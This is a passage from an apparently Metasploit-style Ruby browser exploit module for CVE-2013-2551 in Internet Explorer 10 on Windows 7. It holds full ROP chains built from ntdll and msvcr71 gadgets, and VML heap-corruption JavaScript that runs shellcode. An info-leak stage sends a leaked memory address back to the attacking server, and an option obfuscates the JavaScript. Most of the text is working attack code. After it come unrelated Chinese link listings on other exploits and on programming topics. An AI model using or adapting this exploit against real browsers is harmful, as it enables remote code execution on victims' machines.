[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
],
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
{
'Rop' => :jre,
'Offset' => '0x5f4'
}
],
# requires:
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
# * ntdll.dll v6.1.7601.17725 (MS12-001)
[ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
{
'Rop' => :ntdll,
'Offset' => '0x5f4'
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 06 2013",
'DefaultTarget' => 0)) register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class) end def exploit
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
super
end ############################### # edi -> ZwProtectVirtualMemory
# esi -> return address
# ebp -> 0xffffffff
# esp -> ptr to BaseAddress
# ebx -> ptr to NumberOfBytesToProtect
# edx -> 0x00000040
# ecx -> ptr to OldAccessProtection def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
].pack("V*")
ntdll_rop = [
@ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi)
0x00010400, # NumberOfBytesToProtect
@ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax)
0x90909090,
0x90909090,
0x90909090,
@ntdll_base+0x0001dd9f, # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18 (move eax -> ebx) [ebx -> ptr to NumberOfBytesToProtect]
@ntdll_base+0x00005922, # RETN
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
@ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi)
0x41414141, # OldAccessProtection
@ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax)
0x90909090,
0x90909090,
0x90909090,
@ntdll_base+0x00060549, # XCHG EAX,ECX # RETN (move eax -> ecx) [ecx -> ptr to OldAccessProtection]
@ntdll_base+0x000ce8fe, # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04 (move esp -> ebp)
@ntdll_base+0x000ab623, # XCHG EAX,EBP # RETN (move ebp -> eax) EEEEESSSSPPPPP
0x90909090,
@ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
@ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
@ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
@ntdll_base+0x00057dc2, # ADD EAX,20 # RETN 0x80 / 4 = 0x20(32)
@ntdll_base+0x0005dde3, # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04 [BaseAddress]
0x90909090,
0x90909090,
@ntdll_base+0x00035508, # ADD EAX,1 # RETN
0x90909090,
@ntdll_base+0x00035508, # ADD EAX,1 # RETN
@ntdll_base+0x00035508, # ADD EAX,1 # RETN
@ntdll_base+0x00035508, # ADD EAX,1 # RETN
@ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN [esi -> return addrsss]
@ntdll_base+0x0009a30c, # pop eax # retn
0xFA3DFA7F,
@ntdll_base+0x0003ab39, # add eax,5C205C1 # retn
@ntdll_base+0x00036d70, # xchg eax,edx # retn [edx -> 0x00000040]
@ntdll_base+0x00047643, # pop edi # retn [edi -> ZwProtectVirtualMemory]
@ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory
@ntdll_base+0x000cb72a, # pop ebp # retn [ebp -> 0xffffffff]
0xffffffff, # ProcessHandle
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x00005922, # RETN
@ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi
0x90909090,
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725" # 未构造
stack_pivot = [
@ntdll_base+0x0001579a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + code
end return rop_payload
end def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_ntdllBase = @ntdll_base js_trigger = %Q| var rect_array = new Array();
var a = new Array();
var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
} } function exploit(){ // leak the address of shellcode
var vml2 = document.getElementById("vml2")
var i = 0 for (i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} var length_orig = vml2.dashstyle.array.length;
vml2.dashstyle.array.length = 0 - 1;
var marginLeftAddress; for (i=0; i<0x400; i++)
{
a[i].marginLeft = unescape("#{js_code}");
marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml2.dashstyle.array.length = length_orig;
break;
}
} // trigger
var j = 0x400
var vml1 = document.getElementById("vml1") for (j=0x400; j<0x800; j++){
a[j] = document.getElementById("rect" + j.toString())._anchorRect;
if (j == 0x700) {
vml1.dashstyle = "1 2 3 4"
}
} //length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = marginLeftAddress; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
vml1.dashstyle.array.item(8) = marginLeftAddress; // ebx
vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN
vml1.dashstyle.array.length = length_orig ; //for (j=0x400; j<0x800; j++)
{
delete a[0x701];
CollectGarbage();
}
location.reload(); }
| create_rects_func = "createRects"
exploit_func = "exploit" if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head> <title>
</title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script>
#{js_trigger}
</script> <body onload="#{create_rects_func}(); #{exploit_func}();">
<div id="blah"></div>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke id="vml2"/>
</v:oval>
</body> </html>
| return html
end def html_info_leak js_trigger = %Q|
var rect_array = new Array()
var a = new Array() function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
} function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
} }
| create_rects_func = "createRects"
exploit_func = "exploit" if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
| return html end def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end return nil
end def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}") my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
end # Use JRE1.6 to exploit it.
if leak == 0
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger(Use JRE1.6)...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end # Use Ntdll to exploit it.
print_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725" # MS12-001
@ntdll_base = leak - 0x47090
else
print_error("ntdll version not detected, sending 404: #{agent}")
send_not_found(cli)
return
end html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger(Use Ntdll)...")
send_response(cli, html, {'Content-Type'=>'text/html'}) end end end

CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)的更多相关文章

  1. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  2. CVE-2013-3897漏洞成因与利用分析

    CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...

  3. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. CVE-2014-0321漏洞成因分析

    1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win ...

  6. Office高级威胁漏洞在野利用分析

    高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...

  7. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  8. 干货|微软远程桌面服务蠕虫漏洞(CVE-2019-1182)分析

    2019年8月,微软发布了一套针对远程桌面服务的修复程序,其中包括两个关键的远程执行代码(RCE)漏洞,CVE-2019-1181和CVE-2019-1182.与之前修复的"BlueKeep ...

  9. CVE-2015-0057 POC构造 & 利用分析(2015.7)

    CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...

随机推荐

  1. HttpClient和HttpGet 参数的优先级

    http://www.cnblogs.com/LBSer/p/3295584.html 一般在使用HttpClient时,我们提前设置好参数,比如超时时间(一般socket超时和连接超时) priva ...

  2. Joda-Time 学习笔记

    一 Jode-Time 介绍 任何企业应用程序都需要处理时间问题.应用程序需要知道当前的时间点和下一个时间点,有时它们还必须计算这两个时间点之间的路径.使用 JDK 完成这项任务将非常痛苦和繁琐.既然 ...

  3. 多表连接的三种方式详解 HASH JOIN MERGE JOIN NESTED LOOP

    在多表联合查询的时候,如果我们查看它的执行计划,就会发现里面有多表之间的连接方式. 之前打算在sqlplus中用执行计划的,但是格式看起来有点乱,就用Toad 做了3个截图. 从3张图里我们看到了几点 ...

  4. SharePoint 2013 EventHanlder工具

    之前在07的时候使用SharePoint Event Receiver Manager (2007 & 2010)来管理SharePoint的Event Handler,但是2013后作者没有 ...

  5. TCP/IP协议栈概述及各层包头分析

    TCP/IP协议栈中各层包头的分析 Protocol列表示的是该数据包最高层对应的协议,Length列表示该包的长度(包括从底层的协议到最高层的协议,其中包头一般是,链路层14字节,IP20字节,TC ...

  6. 学习ThinkPHP笔记

    学习ThinkPHP笔记 TP的模块化设计 名称 描述 应用 基于同一个入口文件访问的项目我们称之为一个应用. 模块 一个应用下面可以包含多个模块,每个模块在应用目录下面都是一个独立的子目录. 控制器 ...

  7. Qt5 编程基础

    Qt 是一个C++ GUI应用框架,Qt 具有良好的可移植性支持大多数桌面和移动操作系统并常用于嵌入式开发. Qt的发行版分为商业版和开源版,提供了Qt Creator作为轻量级IDE. Hello ...

  8. [BZOJ 2655]calc

    Description 题库链接 给出 \(A,n,p\) ,让你在模 \(p\) 意义下求所有序列 \(a\) 满足"长度为 \(n\) 且 \(a_i\in[1,A]\) ,并且对于 \ ...

  9. 用于深拷贝的扩展方法 C#

    using System.Runtime.Serialization.Formatters.Binary; using System.IO; public static class Tool { pu ...

  10. 【转】MyBatis接口的简单实现原理

    MyBatis接口的简单实现原理 用过MyBatis3的人可能会觉得为什么MyBatis的Mapper接口没有实现类,但是可以直接用? 那是因为MyBatis使用Java动态代理实现的接口. 这里仅仅 ...